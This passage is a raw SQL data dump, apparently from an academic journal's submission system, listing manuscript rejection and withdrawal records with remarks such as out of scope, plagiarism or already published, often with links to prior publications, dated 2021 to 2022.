Https://innovareacademics.in/journals/index.php/ajpcr/article/download/37183/24032','2021-09-23'),(1799,6133,2,'','Http://www.clinicsinoncology.com/open-access/low-dose-single-agent-chemotherapy-cured-a-child-with-down-6417.pdf','2021-09-23'),(1800,6119,2,'','Https://indianheartjournal.com/wp-content/themes/ihj/pdfs/Coexistence%20of%20bicuspid%20aortic.pdf','2021-09-23'),(1801,6140,2,'','Https://www.imedpub.com/articles/the-role-played-by-some-actors-in-search-of-environmental-protection-examples-of-brazil-and-peru.pdf','2021-09-23'),(1802,6097,2,'','Https://www.iomcworld.org/articles/evaluation-of-affirmative-policies-in-health-discourses-attitudes-and-practices-regarding-racism-inequalities-and-action.pdf','2021-09-23'),(1803,6118,2,'','Https://pediatric-cardiology.imedpub.com/a-rare-case-of-right-ventricular-myxoma-in-a-child.pdf','2021-09-23'),(1804,6095,2,'','Https://obesity.imedpub.com/periodic-binge-eating-disorder-during-the-social-isolation-due-to-covid19-pandemics.php?aid=32624','2021-09-23'),(1805,6055,2,'','Https://www.imedpub.com/articles/analysis-of-wasted-computing-resources-in-data-centers-in-terms-of-cpu-ram-and-hdd.pdf','2021-09-23'),(1806,3308,2,'','Published 16 Sept 2021\n\nhttps://www.arraypublishers.com/images/photo/6006f12e2db55.pdf','2021-09-23'),(1807,3308,2,'','Https://www.arraypublishers.com/article/Open-Journal-of-Case-Reports/4/1','2021-09-23'),(1808,3309,2,'','Https://clinmedjournals.org/articles/ijcc/international-journal-of-clinical-cardiology-ijcc-7-192.php?jid=ijcc','2021-09-23'),(1809,3283,2,'','Https://irispublishers.com/icbc/fulltext/new-hybrid-hetero-structure.ID.000506.php','2021-09-23'),(1810,3236,2,'','Https://www.researchgate.net/profile/Enas-Farag-2/publication/339123680_International_Journal_of_Pharmacology_and_Toxicology_Protective_effects_of_prebiotic_resistant_maltodextrin_and_silymarin_against_toxicity_of_carbon_tetrachloride_in_liver_rat_and_kidney/links/5e3e6a70299bf1cdb917287d/International-Journal-of-Pharmacology-and-Toxicology-Protective-effects-of-prebiotic-resistant-maltodextrin-and-silymarin-against-toxicity-of-carbon-tetrachloride-in-liver-rat-and-kidney.pdf','2021-09-23'),(1811,3120,2,'','Https://www.semanticscholar.org/paper/A-Nobel-Multivariate-Index-for-Cancer-Risk-Based-On-Mikami-Nakamura/ae2cc235c03b253b772ab7ed4fe46a0095da9c50','2021-09-23'),(1812,3146,2,'','Https://www.imedpub.com/articles/successful-percutaneous-closure-of-unusually-large-rsov--two-cases.pdf','2021-09-23'),(1813,3167,2,'','Https://www.ijser.org/researchpaper/Decision-Table-A-Procedural-Approach-to-Making-Decisions-in-Complex-Situations.pdf','2021-09-23'),(1814,3010,2,'','Https://organic-inorganic.imedpub.com/comparative-synthesis-and-cyclization-of-1-5diketone.php?aid=26135','2021-09-23'),(1815,3082,2,'','Https://www.sciencedirect.com/science/article/abs/pii/S0022286020314071','2021-09-23'),(1816,10702,2,NULL,'withdrawn','2021-09-23'),(1817,3007,2,'','Https://interventional-radiology.imedpub.com/ctfluoroscopy-versus-conventional-helical-ct-guidance-for-lung-biopsies-performed-by-clinical-fellows-without-prior-training-radia.pdf','2021-09-23'),(1818,2916,2,'','Https://www.imedpub.com/articles/paraganglioma-of-the-gallbladder-an-extremely-rare-pathology.pdf','2021-09-23'),(1819,2957,2,'','Https://www.imedpub.com/articles/bilateral-torsion-of-ovarian-dermoid-cyst-in-an-18yearold-nulligravida-a-casereport.pdf','2021-09-23'),(1820,3610,2,NULL,'Author has withdrawn','2021-09-23'),(1821,2946,2,'','Https://dual-diagnosis.imedpub.com/post-ictal-psychosis-in-drugresistant-epilepsy-responding-to-a-ketogenic-diet.pdf','2021-09-23'),(1822,2981,2,'','Https://interventional-radiology.imedpub.com/magnetic-resonance-guided-high-intensity-focused-ultrasound-mrghifu-for-treating-recurrent-gynaecological-tumours-effect-of-prefoc.pdf','2021-09-23'),(1823,2882,2,'','Already Published\r\nhttps://medcraveonline.com/MOJABB/cardiac-and-respiratory-signal-extraction-methods-from-ballistocardiography-signal-sensed-using-fiber-bragg-grating-sensor.html','2021-09-23'),(1824,2711,2,'','Already Published\r\nhttps://herbal-medicine.imedpub.com/effectiveness-of-traditional-ksm-dressing-and-tj-honey-on-healing-acute-wounds-in-rats.php?aid=24698','2021-09-23'),(1825,2860,2,'','Already Published\r\nhttps://obesity.imedpub.com/peating-disordersndasha-perplexing-eating-behaviorp.pdf','2021-09-23'),(1826,2634,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjQq9mJ2JTzAhUM63MBHVRBC84QFnoECBQQAQ&url=https%3A%2F%2Fobesity.imedpub.com%2Ffood-addiction-in-patients-with-obesity.pdf&usg=AOvVaw1lfPpr4bbnLwfV2ojrNx96','2021-09-23'),(1827,2590,2,'','Already Published\r\nhttps://herbal-medicine.imedpub.com/effect-of-phyllanthus-niruri-extract-on-low-density-lipoprotein-of-dyslipidemicwhite-rats-rattus-norvegicus.php?aid=24693','2021-09-23'),(1828,2604,2,'','Already Published\r\nhttps://www.imedpub.com/articles/a-pilot-visualspatial-working-memory-training-protocol-in-children-with-attention-deficit-hyperactivity-disorder.pdf','2021-09-23'),(1829,2672,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwi1jtr12pTzAhXUXCsKHS_WByoQFnoECAIQAQ&url=https%3A%2F%2Fwww.imedpub.com%2Farticles%2Fsystematic-review-on-spices-and-herbsused-in-food-industry.pdf&usg=AOvVaw1EGooT-uIRZ7V5qsXEftdU','2021-09-23'),(1830,1185,2,'','Already Published\r\nhttps://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjjsqud3JTzAhXLAnIKHQJDBX4QFnoECAcQAQ&url=https%3A%2F%2Fwww.imedpub.com%2Farticles%2Fpincidental-finding-of-pulmonary-azygos-lobe-and-imaging-findings-a-case-reportp.php%3Faid%3D24805&usg=AOvVaw0tMkZFb88qGa36tAW_gDv9','2021-09-23'),(1831,10602,0,NULL,'Author did not want to publish the paper as it contains flaws','2021-09-23'),(1832,10695,2,'','Upload Correct File','2021-09-24'),(1833,3514,2,'','Https://pubmed.ncbi.nlm.nih.gov/2480420/','2021-09-24'),(1834,4031,2,'','Https://www.cghjournal.org/article/S1542-3565(17)31349-6/fulltext','2021-09-24'),(1835,10543,2,NULL,'withdraw','2021-09-24'),(1836,10539,2,NULL,'withdrawn','2021-09-24'),(1837,10721,2,'','Revise The Headings In The Article','2021-09-24'),(1838,10698,2,'','Upload The Correct File','2021-09-25'),(1839,10705,2,'','Https://www.longdom.org/open-access/a-note-on-hypersensitivity.pdf','2021-09-25'),(1840,10762,2,'','Https://ttu-ir.tdl.org/handle/2346/85874','2021-09-27'),(1841,10688,2,NULL,'withdrawn','2021-09-27'),(1842,10779,2,'','Https://www.imedpub.com/abstract/prevalance-and-pattern-of-cervica-nodal-metastasis-of-upperrnaerodigestive-tract-squamous-cell-carcinoma-at-the-time-of-diagnosis-inrnpatients-attending-tikur-anbessa-specialized-hospital-from-septemberrn2015-to-september-2020-38111.html','2021-09-28'),(1843,10536,1,'1843-plagrism.docx','withdrawn','2021-09-28'),(1844,10563,2,'1844-plagrism.pdf','withdrawn','2021-09-28'),(1845,8969,0,NULL,'Already Published','2021-09-30'),(1846,8968,0,NULL,'Already Published','2021-09-30'),(1847,8967,0,NULL,'Already Published','2021-09-30'),(1848,8966,0,NULL,'Already Published','2021-09-30'),(1849,8965,0,NULL,'Already Published','2021-09-30'),(1850,10645,0,NULL,'submitted twice','2021-09-30'),(1851,10493,2,'1851-plagrism.pdf','Author told to withdraw','2021-09-30'),(1852,10843,2,'','The Title Should Be Modified \nhttps://pubmed.ncbi.nlm.nih.gov/22339196/','2021-10-01'),(1853,10847,2,'','Https://www.google.com/search?q=The+Role+of+Breeding+and+Genetics+in+Animal+Production+Improvement+in+the+Developing+Countries&rlz=1C1GCEU_enIN820IN820&oq=The+Role+of+Breeding+and+Genetics+in+Animal+Production+Improvement+in+the+Developing+Countries&aqs=chrome..69i57j69i61.1216j0j1&sourceid=chrome&ie=UTF-8','2021-10-01'),(1854,10906,1,'1854-plagrism.pdf','Plagiarism','2021-10-04'),(1855,10887,2,NULL,'Submitted twice!','2021-10-04'),(1856,10869,2,'','Https://pubmed.ncbi.nlm.nih.gov/30038928/','2021-10-05'),(1857,10883,2,'','Already Published\r\nhttps://clinicsofsurgery.com/uploads/IMG_736459.pdf','2021-10-05'),(1858,10842,2,NULL,'Already published','2021-10-05'),(1859,10941,2,'','Revise Article Content And Title, Don\'t Use Synonyms Of Words','2021-10-05'),(1860,10944,2,'','Irrelevant File Is Uploaded','2021-10-05'),(1861,10945,2,'','Minimum Word Limit Of Perspective Is 500-800','2021-10-05'),(1868,10953,1,'1868-plagrism.docx','Plagiarism','2021-10-06'),(1869,10954,1,'1869-plagrism.docx','Plagiarism','2021-10-06'),(1870,10964,2,'','Already Published\r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC8342596/','2021-10-06'),(1871,10965,2,'','Already Published\r\nhttps://pubmed.ncbi.nlm.nih.gov/33188169/','2021-10-06'),(1872,10966,2,'','Already Published\r\nhttps://www.nature.com/articles/s41467-020-18124-1','2021-10-06'),(1873,10955,2,'','Already Published\r\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC8211847/','2021-10-06'),(1875,10447,2,'','Rewrite The Article Title','2021-10-07'),(1876,10445,2,'','Rewrite The Article Title','2021-10-07'),(1877,10446,2,'','Rewrite The Article Title','2021-10-07'),(1878,10462,2,'','Revise The Editorial Title','2021-10-07'),(1879,6473,2,'','File Not Uploaded','2021-10-07'),(1880,5794,2,'','Kindly Upload File','2021-10-07'),(1881,3443,2,'','','2021-10-07'),(1882,8889,2,NULL,'withdrawn','2021-10-07'),(1883,5132,2,NULL,'withdrawn','2021-10-07'),(1884,8889,2,NULL,'withdrawn','2021-10-07'),(1885,10679,2,NULL,'withdrawn','2021-10-07'),(1886,10677,2,NULL,'withdrawn','2021-10-07'),(1887,10676,2,NULL,'withdrawn','2021-10-07'),(1888,8889,2,NULL,'withdrawn','2021-10-07'),(1889,10991,1,'1889-plagrism.docx','MISTAKES','2021-10-07'),(1890,10951,2,'','Out Of Scope','2021-10-07'),(1891,10985,2,'','Revise The Title','2021-10-07'),(1892,10986,2,'','Revise The Title, It Should Be Meaningful','2021-10-07'),(1893,10987,2,'','Revise The Title, Current Title Is Already Updated At Https://www.nature.com/articles/s41598-021-98784-1','2021-10-07'),(1894,10986,2,'','Revise The Title, It Should Be Meaningful','2021-10-07'),(1895,10985,2,'','Revise The Title','2021-10-07'),(1896,10987,2,'','Revise The Title, Current Title Is Already Updated At Https://www.nature.com/articles/s41598-021-98784-1','2021-10-07'),(1897,11001,2,'','Article Type Should Be Commentary In The File.','2021-10-07'),(1898,10551,2,NULL,'withdrawn','2021-10-08'),(1899,11012,2,NULL,'wrong submission','2021-10-08'),(1900,11018,2,'','Divide The Content Into Paragraphs With Proper Headings','2021-10-08'),(1901,10877,2,'','Out Of Scope \n\nComes Under Genetics','2021-10-08'),(1902,8204,2,'','Https://www.peertechzpublications.com/articles/GJIDCR-7-144.php','2021-10-08'),(1903,10962,2,'','Https://www.jmig.org/article/S1553-4650(18)30714-3/fulltext','2021-10-08'),(1904,10704,2,'','Out Of Scope','2021-10-08'),(1905,9269,0,NULL,'Article already published in https://www.fortunejournals.com/articles/surgical-management-of-fractures-in-vertebrae-with-ankylosing-spondylosis-a-systematic-review-with-newer-principles-of-management.html','2021-10-11'),(1906,11014,2,'','Out Of Scope','2021-10-11'),(1907,11019,2,'','Out Of Journal Scope','2021-10-11'),(1908,11045,2,NULL,'Author not willing to publish','2021-10-12'),(1909,11032,2,'','Out Of Scope','2021-10-12'),(1910,11039,2,'','No File','2021-10-12'),(1913,11087,2,'','','2021-10-13'),(1914,10863,2,NULL,'withdrew within the 5 day period','2021-10-13'),(1915,10863,2,NULL,'author withdrew within the allocated 5 day period','2021-10-13'),(1916,11034,2,NULL,'author wants to withdraw','2021-10-14'),(1917,10542,2,NULL,'Author wants to withdraw','2021-10-14'),(1918,11116,2,'','Already Approved In  Chemical Technology : An Indian Journal  (tsct)\n  Tsijournals','2021-10-18'),(1919,11119,2,'','Title Already Exist In Https://www.tandfonline.com/doi/full/10.1080/17476348.2021.1926988','2021-10-18'),(1920,11138,2,'','Invalid','2021-10-19'),(1921,11136,2,'','Out Of Scope','2021-10-19'),(1923,11147,2,'','Out Of Scope','2021-10-19'),(1924,10115,0,NULL,'Retracted but accidently kept in withdrawn article.','2021-10-20'),(1926,6822,2,NULL,'Already Published','2021-10-21'),(1927,11174,2,'','Out Of Scope','2021-10-21'),(1928,11172,2,'','Https://pubmed.ncbi.nlm.nih.gov/34597312/','2021-10-21'),(1929,10130,0,NULL,'same name of article already published.','2021-10-25'),(1930,11208,2,'','Already Approved In The Indian Journal Of Pharmaceutical Sciences  (ijps)\n  Alliedacademies','2021-10-25'),(1931,11229,2,'','Out Of Scope','2021-10-25'),(1932,11224,2,'','Https://www.tandfonline.com/doi/abs/10.1080/14747731.2021.1969066?journalCode=rglo20','2021-10-25'),(1933,11235,2,'','Https://www.tandfonline.com/doi/abs/10.1080/10926771.2021.1960454?journalCode=wamt20','2021-10-26'),(1934,10602,2,'1934-plagrism.docx','Author want DOI','2021-10-26'),(1935,11274,2,'','Out Of Scope\nStatistics And Bioinformatics Journal','2021-10-28'),(1936,10607,2,'','Word Count Low','2021-10-29'),(1937,11324,2,'','No File','2021-11-01'),(1938,11341,2,'','Out Of Scope','2021-11-01'),(1939,11355,2,'','Title Already Exists','2021-11-02'),(1940,11361,2,'','Out Of Scope','2021-11-03'),(1941,11376,2,'','Out Of Scope','2021-11-05'),(1942,11375,2,'','Out Of Scope','2021-11-05'),(1943,11430,2,'','Moved To Journal Of Molecular And Genetic Medicine','2021-11-05'),(1944,11425,2,'','','2021-11-05'),(1945,11426,2,'','','2021-11-05'),(1946,11427,2,'','','2021-11-05'),(1947,11353,2,'','Out Of Scope','2021-11-05'),(1948,11374,2,'','Out Of Scope','2021-11-05'),(1949,11358,2,'','Out Of Scope','2021-11-05'),(1950,11364,2,'','Out OF Scope','2021-11-05'),(1951,11350,2,NULL,'No pre qc acceptance','2021-11-05'),(1952,11407,2,'','Out Of Scope','2021-11-08'),(1953,11408,2,'','Out Of Scope','2021-11-08'),(1954,11410,2,'','Out Of Scope','2021-11-08'),(1955,11454,2,'','','2021-11-09'),(1956,11512,2,NULL,'Video Article','2021-11-11'),(1957,11521,2,NULL,'not showing in ET','2021-11-11'),(1958,11525,2,NULL,'Duplicate submission','2021-11-11'),(1959,11558,2,NULL,'others','2021-11-15'),(1960,11511,2,'','Out Of Scope','2021-11-15'),(1961,10334,0,NULL,'Author is not responding for submission of revised manusript, thats why we are going to withdrawn the article.','2021-11-17'),(1962,11575,2,'','','2021-11-18'),(1963,11591,2,NULL,'not in the scope','2021-11-19'),(1964,11582,2,'','Out Of Scope','2021-11-19'),(1965,11588,2,'','Out Of Scope','2021-11-20'),(1966,11594,2,'','Out Of Scope','2021-11-20'),(1967,11597,2,'','Out Of Scope','2021-11-22'),(1968,11605,2,'','Https://www.jocpr.com/articles/significance-of-estrogen-receptor-alpha-progesterone-receptor-and-her2-testing-in-south-east-nigeria-a-good-template-for.pdf','2021-11-22'),(1969,11616,2,NULL,'Plagirism','2021-11-23'),(1970,11615,2,NULL,'Withdrawn','2021-11-23'),(1971,11614,2,NULL,'Withdrawn','2021-11-23'),(1972,11617,2,'','Out Of Scope','2021-11-23'),(1973,11621,2,'','Out Of Scope','2021-11-24'),(1974,11156,0,NULL,'Author not responding and also not ready to pay anything.','2021-11-24'),(1975,11660,2,'','Repeated','2021-11-25'),(1976,11741,2,NULL,'fake','2021-11-26'),(1977,11741,2,NULL,'fake','2021-11-26'),(1978,11741,2,NULL,'fake','2021-11-26'),(1979,11741,2,NULL,'fake','2021-11-26'),(1980,11741,2,NULL,'fake','2021-11-26'),(1981,11700,2,'','Out Of Scope','2021-11-27'),(1982,11512,2,NULL,'VIDEO ARTICLE','2021-11-27'),(1983,11512,2,NULL,'Video article','2021-11-27'),(1984,11784,2,NULL,'Withdrawn','2021-11-29'),(1985,11783,2,NULL,'Withdrawn','2021-11-29'),(1986,11782,2,NULL,'Withdrawn','2021-11-29'),(1987,11781,2,NULL,'Withdrawn','2021-11-29'),(1988,11765,2,NULL,'Withdrawn','2021-11-29'),(1989,11784,0,NULL,'Plagarised','2021-11-29'),(1990,11783,0,NULL,'Plagarised','2021-11-29'),(1991,11782,0,NULL,'Plagarised','2021-11-29'),(1992,11781,0,NULL,'Plagarised and out of scope','2021-11-29'),(1993,11765,0,NULL,'Plagarised and out of scope','2021-11-29'),(1994,11782,0,NULL,'Plagarised and out of scope','2021-11-29'),(1995,11784,0,NULL,'Plagarised and out of scope','2021-11-29'),(1996,11783,0,NULL,'Plagarised and out of scope','2021-11-29'),(1997,11755,2,NULL,'Uploaded twice','2021-11-29'),(1998,11730,2,'','Out Of Scope','2021-11-29'),(1999,11789,2,NULL,'Withdrawn, Same articles entered twice','2021-11-29'),(2000,11760,2,'','Out Of Scope','2021-11-30'),(2001,11764,2,'','','2021-11-30'),(2002,11758,2,'','Too Short Article','2021-11-30'),(2003,11799,2,'','Out Of Scope','2021-11-30'),(2004,11809,2,'','Out Of Scope','2021-11-30'),(2005,11811,2,'','Out Of Scope','2021-12-01'),(2006,11850,2,'','Out Of Scope','2021-12-02'),(2008,11856,2,'','Title Too Short','2021-12-04'),(2009,11865,2,'','Tutuk','2021-12-04'),(2010,11882,2,NULL,'Its not an article','2021-12-06'),(2011,11879,2,'','Other Language','2021-12-06'),(2012,11880,2,'','Check The Title (Other Language)','2021-12-06'),(2013,11888,2,'','Out Of Scope','2021-12-06'),(2014,11904,2,'','Out Of Scope','2021-12-08'),(2015,11907,2,'','Out Of Scope','2021-12-08'),(2016,11903,2,'','Too Short Article','2021-12-08'),(2017,11906,2,'','No File','2021-12-08'),(2018,11927,2,'','Out Of Scope','2021-12-09'),(2019,11936,2,'','Out Of Scope','2021-12-09'),(2020,11935,2,'','Out Of Scope','2021-12-09'),(2021,11947,2,'','Out Of Scope','2021-12-10'),(2022,11957,2,'','','2021-12-13'),(2024,11972,2,'','Content Matching\n\nhttps://www.ncbi.nlm.nih.gov/pmc/articles/PMC5474181/','2021-12-14'),(2027,6459,2,NULL,'31','2021-12-15'),(2028,6459,2,NULL,'31','2021-12-15'),(2029,6459,2,NULL,'31','2021-12-15'),(2031,11987,2,'','Content Match\nhttps://pubmed.ncbi.nlm.nih.gov/30675422/','2021-12-16'),(2032,11991,2,'','Content Match\n\nhttps://www.physiology.org/doi/pdf/10.1152/physrev.00042.2012','2021-12-16'),(2033,11992,2,'','Not Based In Science Of Health','2021-12-16'),(2034,11993,2,'','No File','2021-12-16'),(2035,11994,2,'','Distant Scope','2021-12-16'),(2037,11996,2,'','Content Match','2021-12-16'),(2038,12000,2,'','Content Match\nhttps://my.clevelandclinic.org/health/treatments/15286-anesthesia','2021-12-16'),(2039,12034,2,NULL,'rejected','2021-12-17'),(2040,12033,2,NULL,'rejected','2021-12-17'),(2041,12035,2,'2041-plagrism.pdf','im not interested','2021-12-17'),(2042,12005,2,'','Content  And Data Match\n\nhttps://www.ijcmph.com/index.php/ijcmph/article/download/1136/976','2021-12-17'),(2043,12019,2,'','Out Of Scope','2021-12-20'),(2044,12092,2,'2044-plagrism.pdf','i have changed my mind','2021-12-20'),(2045,12025,2,'','Out Of Scope','2021-12-20'),(2046,12051,2,'','Out Of Scope','2021-12-20'),(2047,12061,2,'','Out Of Scope','2021-12-20'),(2048,12115,2,'2048-plagrism.docx','it is not related to this journal','2021-12-21'),(2049,12115,2,'2049-plagrism.docx','it is not related to this journal','2021-12-21'),(2050,12115,2,'2050-plagrism.docx','it is not related to this journal','2021-12-21'),(2051,12115,2,'2051-plagrism.docx','not related to this journal','2021-12-21'),(2052,12095,2,'','Out Of Scope','2021-12-22'),(2053,12105,2,'','Out Of Scope','2021-12-22'),(2054,12114,2,'','Out Of Scope','2021-12-23'),(2055,12172,2,'','Emilyanozapota','2021-12-27'),(2056,10633,2,NULL,'-','2021-12-27'),(2057,10982,0,NULL,'Author mail: We requested this paper be withdrawn from consideration after not being able to contact editors. Please withdraw this submission we will not be submitting a revision.','2021-12-28'),(2059,12193,2,'','Out Of Scope','2021-12-28'),(2060,12202,2,'2060-plagrism.pdf','i want to do some changes','2021-12-29'),(2061,12208,2,'','Out Of Scope','2021-12-31'),(2062,12244,2,'','Out Of Scope','2022-01-04'),(2063,10453,0,NULL,'Author is not submitting the revised manuscript despite several reminders. Hence withdrawing this article.','2022-01-04'),(2064,12236,2,'','No File','2022-01-04'),(2065,12270,2,'','Too Short Article','2022-01-06'),(2066,11282,1,'2066-plagrism.pdf','not approved','2022-01-11'),(2067,9407,2,'2067-plagrism.pdf','Rejected Editorial','2022-01-17'),(2068,12310,2,'','','2022-01-17'),(2069,12311,2,'','','2022-01-17'),(2070,12323,2,'','Out Of Scope','2022-01-19'),(2071,12325,2,'','','2022-01-19'),(2072,12338,2,'','','2022-01-20'),(2073,12356,2,'','Out Of Scope','2022-01-22'),(2074,12352,2,'','No File','2022-01-22'),(2075,12362,2,'','Already Approved In Journal Of HIV & Retro Virus  (ipjhrv)\r\n  Imedpub','2022-01-24'),(2076,12366,2,'','Out Of Scope','2022-01-24'),(2077,12373,2,'','','2022-01-25'),(2078,12374,2,'','Out Of Scope','2022-01-27'),(2079,12375,2,'','','2022-01-27'),(2080,12376,2,'','','2022-01-27'),(2081,12377,2,'','','2022-01-27'),(2082,12378,2,'','','2022-01-27'),(2083,12379,2,'','','2022-01-27'),(2084,12380,2,'','','2022-01-27'),(2085,12305,2,NULL,'Already submitted and processed','2022-01-29'),(2086,12305,2,NULL,'Already submitted and processed','2022-01-29'),(2087,12342,0,NULL,'Author requested to withdraw','2022-01-31'),(2088,11551,2,'2088-plagrism.docx','Article got published in other journal.','2022-02-01'),(2089,12404,2,'','Out Of Scope','2022-02-01'),(2090,12421,2,'','Already Accepted In Current Research: Cardiology  (pulcrc)\r\n  Pulsus','2022-02-03'),(2091,12426,2,'','Out Of Scope','2022-02-04'),(2092,12437,2,'','Out Of Scope','2022-02-04'),(2093,12465,2,'','Out Of Scope','2022-02-07'),(2094,12442,2,'','Out Of Scope','2022-02-07'),(2095,12453,2,'','','2022-02-07'),(2096,12469,2,'','Out Of Scope','2022-02-07'),(2097,12444,2,'','No File','2022-02-08'),(2098,12471,2,'','Out Of Scope','2022-02-08'),(2099,12460,2,'','Out Of Scope','2022-02-10'),(2100,12490,2,'','','2022-02-11'),(2101,12498,2,'','Out Of Scope','2022-02-14'),(2102,12505,2,'','','2022-02-15'),(2103,8423,2,'','','2022-02-17'),(2104,12512,2,'','Inappropriate File','2022-02-18'),(2105,12514,2,'','Inappropriate File','2022-02-18'),(2106,12527,2,'','','2022-02-23'),(2107,12528,1,'44172-plagrism.pdf','Already Accpeted In Journal Of Cancer Diagnosis  (jcd)\r\n  Omicsonline','2022-02-23'),(2108,10707,2,'','No File','2022-02-26'),(2109,12540,2,'','No File','2022-02-28'),(2110,12551,2,'','','2022-02-28'),(2111,12552,2,'','','2022-02-28'),(2112,12547,2,'','No File','2022-03-01'),(2113,12558,2,'','','2022-03-01'),(2114,12566,2,'','Repeated','2022-03-03'),(2115,12397,2,NULL,'withdrawn','2022-03-03'),(2116,12455,0,NULL,'Author add some more content','2022-03-04'),(2117,12593,2,NULL,'Withdraw','2022-03-05'),(2118,12591,2,NULL,'Withdraw','2022-03-05'),(2119,12589,2,NULL,'Withdraw','2022-03-05'),(2120,12561,2,'','Already Accepted In The Journal Of Neuro-Oncology And Neuroscience ','2022-03-07'),(2121,12544,2,'','File Is Not Downloading','2022-03-09'),(2122,9984,2,'','','2022-03-09'),(2123,6842,2,'','','2022-03-09'),(2124,7629,2,'','','2022-03-09'),(2125,8328,2,'','','2022-03-09'),(2126,8511,2,'','','2022-03-09'),(2127,8213,2,'','','2022-03-09'),(2128,8212,2,'','','2022-03-09'),(2129,7556,2,'','','2022-03-10'),(2130,8671,2,'','','2022-03-10'),(2131,9179,2,'','','2022-03-10'),(2132,10247,2,'','','2022-03-10'),(2133,8188,2,'','','2022-03-10'),(2134,8211,2,'','','2022-03-10'),(2135,8418,2,'','','2022-03-10'),(2136,8504,2,'','','2022-03-10'),(2137,8796,2,'','','2022-03-10'),(2138,5958,2,'','','2022-03-10'),(2139,7017,2,'','','2022-03-10'),(2140,7040,2,'','','2022-03-10'),(2141,7200,2,'','','2022-03-10'),(2142,7449,2,'','','2022-03-10'),(2143,4567,2,'','','2022-03-10'),(2144,4715,2,'','','2022-03-10'),(2145,6571,2,'','','2022-03-10'),(2146,7880,2,'','','2022-03-10'),(2147,8243,2,'','','2022-03-10'),(2148,10731,2,'','','2022-03-10'),(2149,12532,2,'','','2022-03-10'),(2150,12533,2,'','','2022-03-10'),(2151,12534,2,'','','2022-03-10'),(2152,12535,2,'','','2022-03-10'),(2153,12535,2,'','','2022-03-10'),(2154,12536,2,'','','2022-03-10'),(2155,12537,2,'','','2022-03-10'),(2156,12538,2,'','','2022-03-10'),(2157,12532,2,'','','2022-03-10'),(2158,12533,2,'','','2022-03-10'),(2159,12534,2,'','','2022-03-10'),(2160,12535,2,'','','2022-03-10'),(2161,12536,2,'','','2022-03-10'),(2162,12538,2,'','','2022-03-10'),(2163,12541,2,'','','2022-03-10'),(2164,12542,2,'','','2022-03-10'),(2165,12544,2,'','','2022-03-10'),(2166,12546,2,'','','2022-03-10'),(2167,12541,2,'','','2022-03-10'),(2168,12533,2,'','','2022-03-10'),(2169,12537,2,'','','2022-03-10'),(2170,12542,2,'','','2022-03-10'),(2171,12546,2,'','','2022-03-10'),(2172,12545,2,'','','2022-03-10'),(2173,12549,2,'','','2022-03-10'),(2174,12549,2,'','','2022-03-10'),(2175,12650,2,'','','2022-03-10'),(2176,12649,2,'','No File','2022-03-10'),(2177,12650,2,NULL,'upload','2022-03-11'),(2178,12576,2,'','Duplicate Submission','2022-03-14'),(2179,12580,2,'','Duplicate Submission','2022-03-21'),(2180,12639,2,'','File Is Not Downloading','2022-03-21'),(2181,12639,2,'','File Is Not Downloading','2022-03-21'),(2182,12648,2,'','File Is Not Downloading','2022-03-21'),(2183,12545,2,'','File Is Not Downloading','2022-03-21'),(2184,12677,2,'','Repeated\r\n\r\n	Research\r\nDeterminación De Diagnósticos De Pacientes Ingresados Al Servicio De Urgencias De Un Hospital Infantil En Colombia Por Intento De Suicidio Y Su Relación Con Alteraciones De Salud Mental\r\n Archivos De Medicina  (ipadm)\r\n  Imedpub','2022-03-23'),(2185,12682,2,'','Duplicate Submission','2022-03-28'),(2188,12702,2,'','Check Title','2022-04-05'),(2189,12704,2,'','','2022-04-05'),(2190,12716,2,NULL,'other topic','2022-04-07'),(2191,12715,2,NULL,'other topic','2022-04-07'),(2192,12714,2,NULL,'other topic','2022-04-07'),(2193,12713,2,NULL,'other topic','2022-04-07'),(2194,12686,2,NULL,'other topic','2022-04-07'),(2195,12685,2,NULL,'other topic','2022-04-07'),(2196,12722,2,'','Out Of Scope','2022-04-13'),(2197,12734,2,NULL,'no file','2022-04-18'),(2198,12733,2,NULL,'No file','2022-04-18'),(2199,12736,2,'','Out Of Scope','2022-04-21'),(2200,12740,2,'','Article In Non-English','2022-04-23'),(2201,12741,2,'','Article In Non-English','2022-04-23'),(2202,12744,2,'','Article In Non-English','2022-04-23'),(2203,12754,2,'','Out Of Scope','2022-04-26'),(2204,12749,2,'','Article Is In Non English','2022-04-26'),(2205,12750,2,'','Article In Non English','2022-04-26'),(2206,12751,2,'','Article In Non English','2022-04-26'),(2207,12763,2,'','','2022-04-28'),(2208,12762,2,'','','2022-04-28'),(2210,12678,2,'','Inappropriate Submission','2022-05-03'),(2211,12773,2,NULL,'Article is not in English','2022-05-06'),(2212,12705,2,'','Inappropriate Submission','2022-05-06'),(2213,12775,2,'','Article Title Too Short For Research Article','2022-05-09'),(2214,12731,2,'','Improper Submission','2022-05-09'),(2215,12732,2,'','Improper Submission','2022-05-09'),(2216,12655,2,'','Inappropriate Submission','2022-05-13'),(2217,12679,2,'','Inappropriate Submission','2022-05-13'),(2218,12687,2,'','Inappropriate Submission','2022-05-13'),(2219,12689,2,'','Inappropriate Submission','2022-05-13'),(2220,12696,2,'','Inappropriate Submission','2022-05-13'),(2221,12701,2,'','Inappropriate Submission','2022-05-13'),(2222,12762,2,'2222-plagrism.pdf','Out of Scope','2022-05-17'),(2223,12730,2,'','Inappropriate File','2022-05-20'),(2224,12738,2,'','Inappropriate File','2022-05-20'),(2225,12764,2,'','(ipwhrm)','2022-05-20'),(2226,12766,2,'','Inappropriate Submission','2022-05-20'),(2227,12765,2,'','Inappropriate Submission','2022-05-20'),(2228,12767,2,'','Inappropriate Submission','2022-05-20'),(2229,12729,2,'','Inappropriate Submission','2022-05-23'),(2230,12792,2,'','Elaborate The Article Title','2022-05-23'),(2231,12757,2,'','Out Of Scope','2022-05-23'),(2232,12761,2,'','Inappropriate Submission','2022-05-23'),(2233,12768,2,'','Duplicate Submission','2022-05-24'),(2234,12799,2,'','','2022-05-25'),(2235,12772,2,'','Duplicate Submission','2022-05-25'),(2236,12778,2,'','Duplicate Submission','2022-05-25'),(2237,12776,2,'','Out Of Scope','2022-05-26'),(2238,12780,2,'','Out Of Scope','2022-05-26'),(2239,12800,2,'','Title Already 